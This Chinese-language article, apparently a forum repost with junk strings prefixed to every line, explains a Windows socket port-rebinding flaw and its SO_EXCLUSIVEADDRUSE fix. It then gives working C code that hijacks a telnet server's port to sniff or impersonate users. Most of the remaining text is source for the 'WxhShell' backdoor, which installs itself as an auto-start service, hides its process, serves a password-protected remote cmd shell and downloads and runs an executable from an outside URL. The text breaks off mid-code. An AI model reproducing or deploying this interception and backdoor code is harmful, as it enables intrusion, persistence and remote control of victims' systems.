在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
!bHM:!6^ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
{PCf'n hsUP5_ saddr.sin_family = AF_INET;
E0i_sB~T ;|Ja|@82 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
zjrr*iw mxRe2<W bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
S-Y(Vn4 `(9B(&t^, 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
/B?hM&@z 6/#5TdJA 这意味着什么?意味着可以进行如下的攻击:
mJ%r2$/* ]3E':JM@ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
;#$zHR H?=D, 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
7BX%z$_)A e]+ [lq\p@ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
c[Mz#BWG (Rc0 l; 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
U "qO&;m ]PnE% 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
:-f"+v '7<@(HO 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
,Wp0,>! !\NKu1ta 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
M]>JI'8 N
-]m <z> #include
y{eZrX| #include
e<p_u)m #include
N!fp;jvG #include
A/U tf0{3" DWORD WINAPI ClientThread(LPVOID lpParam);
N[$(y}
!s int main()
^j2:fJOU# {
IpxFME%! WORD wVersionRequested;
Q#bFW?>y, DWORD ret;
)W@H WSADATA wsaData;
o4kNDXP#S BOOL val;
m,u?
^W SOCKADDR_IN saddr;
>oc7=F<8lS SOCKADDR_IN scaddr;
Lh &L5p7 int err;
c3lfmTT6^ SOCKET s;
|yI?}zyR SOCKET sc;
^yRCR] oT int caddsize;
TBQ`:`g^m HANDLE mt;
\~ DWORD tid;
RU`TzD wVersionRequested = MAKEWORD( 2, 2 );
FFgy=F err = WSAStartup( wVersionRequested, &wsaData );
Jz#ZDZkm if ( err != 0 ) {
qi7wr\XNW printf("error!WSAStartup failed!\n");
O'."ca]:5 return -1;
?.A6HrAPB }
'ce9v@(0 saddr.sin_family = AF_INET;
utwh"E&W <,0&Ox //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
tS2lex% eT+MN` saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
5b B[o6+ saddr.sin_port = htons(23);
-o#0Yt}3 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
>?e*;f$VdJ {
e_ 6
i896 printf("error!socket failed!\n");
JoZC+G return -1;
xuelo0h, }
"0L@cOyG val = TRUE;
?NI)3-l //SO_REUSEADDR选项就是可以实现端口重绑定的
%!rsu-W:Y if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Yb =8\<; {
Pr<?E[ printf("error!setsockopt failed!\n");
:B- ,*@EU return -1;
{uj9fE,) }
j)F~C8* //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
%h%r6EB1F //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Ro:-u7q //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
S0=BfkHi. *OF7{^~& if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
4r(rWlM {
]Ly)%a32 ret=GetLastError();
'd?8OV printf("error!bind failed!\n");
Gz *U?R-T return -1;
dm$:xE": }
kd\G> listen(s,2);
.yWdlq## while(1)
Fr%KO)s2 {
udc9$uO caddsize = sizeof(scaddr);
`%ymg8^ //接受连接请求
0/K NXz sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
&U
'Ds! if(sc!=INVALID_SOCKET)
g1J]z<& {
f\(K ou$ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
jv0e&rt if(mt==NULL)
>8NQ8i=]V1 {
>Ft jrEB printf("Thread Creat Failed!\n");
`ZefSmb break;
FpRK^MEkG }
#3CA }
h V8A<VT CloseHandle(mt);
Pq4sv`q)S }
SyYa_=En closesocket(s);
jEO; WSACleanup();
\W@?revK return 0;
sox90o 7 }
F37,u| DWORD WINAPI ClientThread(LPVOID lpParam)
<I|ryPU9{X {
jA]xpf6} SOCKET ss = (SOCKET)lpParam;
v5$zz w SOCKET sc;
A`r&"i OKA unsigned char buf[4096];
Y2$%%@ SOCKADDR_IN saddr;
jN {ED_ long num;
b'{D4/ DWORD val;
P7Y[?='v DWORD ret;
\|&5eeE@ //如果是隐藏端口应用的话,可以在此处加一些判断
)O&$-4gL' //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
U&eLj"XZ saddr.sin_family = AF_INET;
Ns9g>~ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
MoFZ saddr.sin_port = htons(23);
[w4z)! if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
pI^n("| {
WD)[Ac[ printf("error!socket failed!\n");
c&_3"2: return -1;
L]tyL) }
6a,YxR\ val = 100;
XnG!T$ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
V?rI,'F>N {
]JM9 ^F ret = GetLastError();
HxM-VK ' return -1;
!{3pp }
qzyQ2a_p if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
i gQyn|
{
=Tj0dfO|" ret = GetLastError();
n_+Iw,a'm return -1;
<St`"H }
(HJ60Hj if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
eX$Biv1N {
Sn+Yi printf("error!socket connect failed!\n");
7vWB=r>5@ closesocket(sc);
~gAx closesocket(ss);
}z*p2)v` return -1;
[p(C:rH }
[lJ[kr*7 while(1)
z DK+8 {
bIhL!Ty T. //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
+*!! //如果是嗅探内容的话,可以再此处进行内容分析和记录
FPMW"~v //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
fGfv{4R num = recv(ss,buf,4096,0);
~>EVI=? if(num>0)
>]`x~cE.5 send(sc,buf,num,0);
OL=b hZ else if(num==0)
9!OpW:bR| break;
KG?]MVXA num = recv(sc,buf,4096,0);
T<?;:MO88 if(num>0)
U9q*zP_jV send(ss,buf,num,0);
c*W$wr else if(num==0)
5u8Sxfm", break;
}qg!Um0 }
Tld{b closesocket(ss);
> w'6ZDA*X closesocket(sc);
n#R!`*[ return 0 ;
Ea
!j-Lb o }
St3~Y{aI| G@;aqe[dB p[$I{F*a ==========================================================
Z~R i%XG O//e0?]W 下边附上一个代码,,WXhSHELL
#-`lLI:w0 WZr~Pb9 ==========================================================
KXGs'D g=%&p?1@E #include "stdafx.h"
yqU++;6 I@B7uFj #include <stdio.h>
bM'AD[ #include <string.h>
Ob6vg^# #include <windows.h>
ibq@0CR #include <winsock2.h>
rx"zqm9 }u #include <winsvc.h>
~:@H6Ke[ #include <urlmon.h>
4j*}|@x WAEKvM4*i0 #pragma comment (lib, "Ws2_32.lib")
qRFN@ID$ #pragma comment (lib, "urlmon.lib")
ev3x*}d0 wfdFGoy( #define MAX_USER 100 // 最大客户端连接数
F~Li.qF #define BUF_SOCK 200 // sock buffer
We ->d |= #define KEY_BUFF 255 // 输入 buffer
oK>,MdB t&xx-4 #define REBOOT 0 // 重启
C/bttd #define SHUTDOWN 1 // 关机
TQou.'+v 2*M*<p=v #define DEF_PORT 5000 // 监听端口
x\%egw xv:?n^yt.[ #define REG_LEN 16 // 注册表键长度
jBC9Vt;B #define SVC_LEN 80 // NT服务名长度
A>?fbY2n oxzNV&D[{` // 从dll定义API
bm4W, typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
1mX*0> typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
1 W0; YcT] typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
0D'Wr(U( typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
TU/J]'))C eZ!k'bS= // wxhshell配置信息
Vo%d;>!G\; struct WSCFG {
H@zk8]_P int ws_port; // 监听端口
_x!pMj(A char ws_passstr[REG_LEN]; // 口令
9ZBF1sMg int ws_autoins; // 安装标记, 1=yes 0=no
[a3
0iE char ws_regname[REG_LEN]; // 注册表键名
(Ka#6
char ws_svcname[REG_LEN]; // 服务名
l;.BlHyu char ws_svcdisp[SVC_LEN]; // 服务显示名
/K^cU;E, char ws_svcdesc[SVC_LEN]; // 服务描述信息
(Y>MsqwWfC char ws_passmsg[SVC_LEN]; // 密码输入提示信息
xR:h^S^W ~ int ws_downexe; // 下载执行标记, 1=yes 0=no
ueR42J%s char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
.bE,Q9: char ws_filenam[SVC_LEN]; // 下载后保存的文件名
.*j+? :3B\,inJ };
$c}0L0 }$-VI\96 // default Wxhshell configuration
a%dx\&K struct WSCFG wscfg={DEF_PORT,
U]|q4!WE "xuhuanlingzhe",
IfcFlXmt2 1,
,<1* "Wxhshell",
6"7qZq "Wxhshell",
z'lNO| nU "WxhShell Service",
zqh{=&Tjx "Wrsky Windows CmdShell Service",
Db=gS=Qm "Please Input Your Password: ",
gnXjd} 1,
V5B-S.i@ "
http://www.wrsky.com/wxhshell.exe",
Nj0)/)<r+ "Wxhshell.exe"
h6*`V };
rg,63r vNC0M:p, // 消息定义模块
]D%k)<YK char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
N-gRfra+8L char *msg_ws_prompt="\n\r? for help\n\r#>";
6<Z:Xw char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
$J6.a!5IE char *msg_ws_ext="\n\rExit.";
c*dww char *msg_ws_end="\n\rQuit.";
9#<Og>t2y char *msg_ws_boot="\n\rReboot...";
5-^%\?,x char *msg_ws_poff="\n\rShutdown...";
8-:k@W char *msg_ws_down="\n\rSave to ";
^%&x{F. %K"%Qm=Tl char *msg_ws_err="\n\rErr!";
Jdn*?hc+ char *msg_ws_ok="\n\rOK!";
d 4]%Wdvf g5Rm!T+@I< char ExeFile[MAX_PATH];
H|UL5<:]D int nUser = 0;
%z~U@Mka HANDLE handles[MAX_USER];
^d80\PXz int OsIsNt;
#ja`+w} P0xLx SERVICE_STATUS serviceStatus;
!dY:S';~ SERVICE_STATUS_HANDLE hServiceStatusHandle;
SbZt\a 8 u4@e=vWI // 函数声明
cA?
x( int Install(void);
|L;psK int Uninstall(void);
d|]O<]CG_ int DownloadFile(char *sURL, SOCKET wsh);
K;[%S int Boot(int flag);
zXZ'nJ5OGG void HideProc(void);
[+g@@\X4 int GetOsVer(void);
<(4#4=ivP int Wxhshell(SOCKET wsl);
,SF.@^o@a void TalkWithClient(void *cs);
Eap/7U1Q int CmdShell(SOCKET sock);
6#M0AG int StartFromService(void);
-vHr1I< int StartWxhshell(LPSTR lpCmdLine);
SFk#bh A Vm{#^p[( VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
N?;o_^C VOID WINAPI NTServiceHandler( DWORD fdwControl );
U@MP&sdL k-V I9H!, // 数据结构和表定义
ulf/C%t,R SERVICE_TABLE_ENTRY DispatchTable[] =
<zuE=0P~% {
ex\W]5 {wscfg.ws_svcname, NTServiceMain},
*W12Rb2 {NULL, NULL}
p &>A5 };
-fJ@R1] ~AanU1U< // 自我安装
i ,pN1_- int Install(void)
O[)]dD&' {
tvT8UW' char svExeFile[MAX_PATH];
c%@~%IGF HKEY key;
i 1I>RK strcpy(svExeFile,ExeFile);
~9r!m5ws QaWHz
// 如果是win9x系统,修改注册表设为自启动
k0_$M{@Y if(!OsIsNt) {
qQOD if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
<m,yFk RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
K;p<f{PE RegCloseKey(key);
BD7@Mj*| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Pzp+I} RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
pXh~#o6V RegCloseKey(key);
&3Z.
#* return 0;
&4Con%YU[ }
.l+~)$ }
d:hL
)x }
P5>5ps"iU else {
`%M-7n9Y !?o$-+a| // 如果是NT以上系统,安装为系统服务
UIOEkQ\Wl SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
rEyz|k: if (schSCManager!=0)
,LW+7yD {
/%YiZ# SC_HANDLE schService = CreateService
E0eQ9BXh (
]1d,O^S schSCManager,
^8NLe9~p3? wscfg.ws_svcname,
HCG@#W<wc wscfg.ws_svcdisp,
B>Cs&}Y! SERVICE_ALL_ACCESS,
xs'kO= SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
O R<"LTCL SERVICE_AUTO_START,
4su_;+] SERVICE_ERROR_NORMAL,
s`=/fvf. svExeFile,
~r^5-\[hZ NULL,
LuP?$~z NULL,
hiRR+`L% NULL,
cZr G:\A NULL,
Vp$wHB& NULL
;DD>k bd );
%gu$_S if (schService!=0)
)p<fL {
AB"1(PbG CloseServiceHandle(schService);
3`k[!! CloseServiceHandle(schSCManager);
?,:#8.9 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
!ml_S) strcat(svExeFile,wscfg.ws_svcname);
?orh JS if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
5U{4TeUH RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
9G#8%[W RegCloseKey(key);
b>QM~mq3^I return 0;
tyuk{*Me: }
jefNiEE[ }
-
LiPHHX< CloseServiceHandle(schSCManager);
LMFK3Gd[ }
^+.t-3|U }
OyJsz]b} M _7lt(f[S return 1;
HX3D*2v": }
[Iw>|q<e wKk
3)@il // 自我卸载
hu P ^2*c int Uninstall(void)
>wKu6-
]a {
eb!s'@ HKEY key;
jQ_dw\
{0
l*K I if(!OsIsNt) {
19F ;oFp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
N )zPxQ RegDeleteValue(key,wscfg.ws_regname);
U['JFLF RegCloseKey(key);
|
"Jx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
j?\$G.Y RegDeleteValue(key,wscfg.ws_regname);
gT(th9'+z RegCloseKey(key);
d$fvg8^ return 0;
"($Lx }
7-".!M }
6[*;M }
4[TS4p else {
%'L].+$t >-5td=:Z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
.!yWF?T8 if (schSCManager!=0)
Cf0|Z {
*$i; o3 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
HKTeqH_: if (schService!=0)
[x!i*
rW3 {
(;0$i?3\ if(DeleteService(schService)!=0) {
.4Qb5I2# CloseServiceHandle(schService);
EqD^/(,L2 CloseServiceHandle(schSCManager);
j?:`-\w5 return 0;
4l lD6&% }
AqV09 $ CloseServiceHandle(schService);
W/ g|{t[ }
e9CP802#2 CloseServiceHandle(schSCManager);
^W
Y8-6 }
`FA)om }
>vWEUE[ U~uwm/h return 1;
6FL?4>MZ
}
_urG_~q c ]>DI&$;J // 从指定url下载文件
LH=d[3Y int DownloadFile(char *sURL, SOCKET wsh)
|7 &|> {
u64@"P HRESULT hr;
(M ]XNn char seps[]= "/";
Dv<wge` char *token;
AL>c:K)qO char *file;
R'6@n#: char myURL[MAX_PATH];
Hf VHI1f char myFILE[MAX_PATH];
z)4UMR#b& ;>NP.pnA) strcpy(myURL,sURL);
9wL!D3e
{Q token=strtok(myURL,seps);
q*\NRq while(token!=NULL)
,YjxCp3 {
/~40rXH2C file=token;
Hm>-LOCcl token=strtok(NULL,seps);
7\mDBG }
:?HSZocf %'N$lF"] GetCurrentDirectory(MAX_PATH,myFILE);
Iq{o-nq strcat(myFILE, "\\");
,-@xq.D strcat(myFILE, file);
0 _Q*E3 send(wsh,myFILE,strlen(myFILE),0);
JXH",""bq send(wsh,"...",3,0);
glv ;C/l hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
?4^};wDb2 if(hr==S_OK)
jcE Msc return 0;
'KH
lrmnr else
.iFViVZC return 1;
^6Yd} 6\NvG,8 }
-*?p F_*w R"@7m!IA // 系统电源模块
v@VLVf)>9^ int Boot(int flag)
HLVQ7 {
J*5hf: ?i HANDLE hToken;
14mf}"z\ TOKEN_PRIVILEGES tkp;
>K\3*]>J3 o&~dGG4J if(OsIsNt) {
;; :">@5 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
|2O')3p"9 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
xcst<= tkp.PrivilegeCount = 1;
>-b&v $ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
*-0>3 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
jh[
#p?: if(flag==REBOOT) {
H"eS<eT if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
13H;p[$ return 0;
<PX.l% }
>?z:2@Q)B else {
H
nK!aa if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
mjbTy"}" return 0;
$!f!,fw+ }
IroPx#s:i }
/0(%(2jIWl else {
*ot>WVB if(flag==REBOOT) {
FH.f- ZU if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
1I ""X]I_ return 0;
`xCOR }
7'z(~3D else {
P>(&glr| if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
_BbvhWN&+ return 0;
n+2%tW }
vDsF-u1 }
C8ZL*9U SAR=
{/ return 1;
k0JW[04j }
S<"oUdkz %)?`{O~ h // win9x进程隐藏模块
@Gt`Ds9= void HideProc(void)
V@[rf<, {
m^<p8KZ @o6R[5( HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
{?Od{d9 if ( hKernel != NULL )
b]T@gJ4H= {
YScvyh?E pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
>p0KFU ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
t8P PE FreeLibrary(hKernel);
_g~2R#2Q }
kO1}?dWpa Us]=Y}( return;
M diwRi }
b?8)7.{F{ 1fH<VgF` // 获取操作系统版本
sef]>q int GetOsVer(void)
/N6}*0Ru {
X d3}Vn= OSVERSIONINFO winfo;
$#e1SS32 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
0]B(a GetVersionEx(&winfo);
?^}_j
vT if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
iPvuz7j=h return 1;
(,B#t7ka else
f"dSr
return 0;
s3:9$.tiR[ }
O(c@PJem $5NKFJc // 客户端句柄模块
py
@(
< int Wxhshell(SOCKET wsl)
l(!/Q|Q| {
E"6X|I n SOCKET wsh;
:Wc_Utt struct sockaddr_in client;
H}/05e DWORD myID;
Wpr
,jN8b uR$i48} while(nUser<MAX_USER)
uH:YKH':/ {
V%*b@zv int nSize=sizeof(client);
U\zD,<I9 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
o:~LF6A- if(wsh==INVALID_SOCKET) return 1;
bWmw3w ^nNitF
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
jo9gCP. if(handles[nUser]==0)
lyv4fP closesocket(wsh);
>P=Q #;v else
MjD75hIZ nUser++;
l$XPIC~H }
Rko M~`CT WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
.UQE{.? i{Ds&{ return 0;
@kxel`,$e }
IeP
WOpj3 TB!((' // 关闭 socket
T^:fn-S}= void CloseIt(SOCKET wsh)
4CrLkr {
p*20-!{A closesocket(wsh);
!q'
4D!I nUser--;
V 1/p_)A ExitThread(0);
M'L;N!1A }
++jAz<46 4<gb36)|4 // 客户端请求句柄
Gh\q^?} void TalkWithClient(void *cs)
GpI!J}~m {
+?dl`!rE VUwC-) SOCKET wsh=(SOCKET)cs;
;+/o?:AH char pwd[SVC_LEN];
Nd@~>&F char cmd[KEY_BUFF];
Ef)yQ char chr[1];
*F`A S> int i,j;
"@/62b hgj <>H| while (nUser < MAX_USER) {
Iz@)!3h ;j%BK(5 if(wscfg.ws_passstr) {
2=iH$v if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
C\*4q8( //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
,xfO;yd //ZeroMemory(pwd,KEY_BUFF);
B*3Y!! i=0;
!mMpb/&&S while(i<SVC_LEN) {
bB}5U@G| `5~3G2T // 设置超时
rsXq- Pq* fd_set FdRead;
p B;3bc struct timeval TimeOut;
OI}cs2m FD_ZERO(&FdRead);
&(N+.T5cp FD_SET(wsh,&FdRead);
.@ F]Pht TimeOut.tv_sec=8;
{Ui=b+ TimeOut.tv_usec=0;
eq4C+&O& int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Wwujh2g"0| if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
>znRyQ~bM -E4XIn if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Sa1l=^ pwd
=chr[0]; iyta;dw9
if(chr[0]==0xd || chr[0]==0xa) { >>{FzR
pwd=0; %9oYw9H!
break; O1'm@
q)
} 2lVHZ\G
i++; "Wo,'8{v
} NnT g3:.
$~;D9
// 如果是非法用户,关闭 socket Bi,;lR5
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /X'(3'a
} G 2!xPHz
fw6UhG
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /FP5`:PfL
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q[F}r`
^vilgg~
while(1) { rl2&^N
:GpDg
ZeroMemory(cmd,KEY_BUFF); UMl#D>:C<
NKb1LbnZ*y
// 自动支持客户端 telnet标准 \*f;X aa
j=0; e[_m<e
while(j<KEY_BUFF) { :j }fC8'
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zOgTQs"ZH
cmd[j]=chr[0]; 03E4cYxt5
if(chr[0]==0xa || chr[0]==0xd) { 4k-+?L!/G
cmd[j]=0; *jIqAhs0{
break; mE%$HZ}
} _j?e~w&0b
j++; _WX tB#
} l>*"mh
y\dEk:\)
// 下载文件 %\|'%/"`2(
if(strstr(cmd,"http://")) { o6
E!IX+
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Jc&y9]
if(DownloadFile(cmd,wsh)) lKZB?Kk^w\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); r%:+$aIt
else h\v'9
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,to+oSZE
} I$N8tn+E
else { t58e(dgi
)9l^O
switch(cmd[0]) { !l]dR@e
Wjhvxk
// 帮助 &nBa=Enf
case '?': { J]f3CU,<N
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e@:sR
break; _4^R9Bt
} l2N]a9bq@
// 安装 [(1c<b2r
case 'i': { 9z)5Mdf1j
if(Install()) w?kJ+lmOQy
send(wsh,msg_ws_err,strlen(msg_ws_err),0); dT,o=8fg
else "BX!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [kE."#
break; 7i&:DePM'q
} T^J >ZDA
// 卸载 0d8%T<=J
case 'r': { GFr|E8
if(Uninstall()) u#}[ZoI
send(wsh,msg_ws_err,strlen(msg_ws_err),0); x#Sqn#
else F 8B#}%JE
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (Jz;W<E
break; pPd#N'\*
} 9]q:[zm^
// 显示 wxhshell 所在路径 &gzCteS
case 'p': { #>Zzf
char svExeFile[MAX_PATH]; ;2B{ 9{
strcpy(svExeFile,"\n\r"); @E:,lA
strcat(svExeFile,ExeFile); ?-^~f
send(wsh,svExeFile,strlen(svExeFile),0); OS8q( 2z?s
break; (?nCyHC%g
} _h}kp\sps
// 重启 `ZC<W]WYX/
case 'b': { y!!2WHvE
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x c{hC4^V
if(Boot(REBOOT)) x?&$ ci
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,}K<*t[I
else { [jmd
closesocket(wsh); !.d@L6
ExitThread(0); 9k{PBAP
} 2RSt)3!},
break; ;G%R<Z
} yn#X;ja-
// 关机 lok=
case 'd': { \L"kV!>
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )ZN|t?|
if(Boot(SHUTDOWN)) }iuWAFZbGS
send(wsh,msg_ws_err,strlen(msg_ws_err),0); j_Yp>=+[
else { I_RsYw
closesocket(wsh); qgfi\/$6
ExitThread(0); o"*AtGR+"
} 812$`5l
break; t. ;LnrY
} ~?(N
// 获取shell rS;Dmm
case 's': { 7Hs%Cc"
CmdShell(wsh); EY tQw(!Q
closesocket(wsh); fk&8]tK4
ExitThread(0); X7rMeu
break; uCcYPvm
} SJHr_bawd
// 退出 L*:jXmUM_~
case 'x': { Mxv;k%l|E|
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); N0r16# -g
CloseIt(wsh); [sW3l:^
break; |j7,Mu+
} /FRm2m83
// 离开 T:; 2
case 'q': { ,N)/w1?I
send(wsh,msg_ws_end,strlen(msg_ws_end),0); @H=:)*;
closesocket(wsh); x@[rms
WSACleanup(); /{&tY:;m
exit(1); bD?VU<)3
break; R~PA1wDZ
} #)nSr
} aeD ;5VV
} sfNE68I2
!4X
f~P
// 提示信息 I"ok&^t^}
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f.9SB
} p9x(D/YP0
} ,LnII
w9bbMx
return; ;<ZLcTL
} Rd#WMo2Xd
ojanBg
// shell模块句柄 Ck)*&
int CmdShell(SOCKET sock) s6@DGSJ
{ ATK_DEAu
STARTUPINFO si; 6}FP
ZeroMemory(&si,sizeof(si)); Jt}Bpg!J
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 32`{7a3!=
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; V)[@98T_4?
PROCESS_INFORMATION ProcessInfo; 6|PrX
L&
char cmdline[]="cmd"; eLfk\kk]Pc
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); XMxSQ B1
return 0; H<PtAYFS
} NeE
t
q-}Fvel u
// 自身启动模式 3v1iy/ /
int StartFromService(void) UdpF@Q
{ <4HDZ{"M
typedef struct gMzcTmbc8
{ zdYy^8V|z
DWORD ExitStatus; =\H!GT
DWORD PebBaseAddress; d^{RQ
DWORD AffinityMask; |Uc_G13Y{D
DWORD BasePriority; (pv+c,
ULONG UniqueProcessId; X\bOz[\
ULONG InheritedFromUniqueProcessId; ;)D];u|_
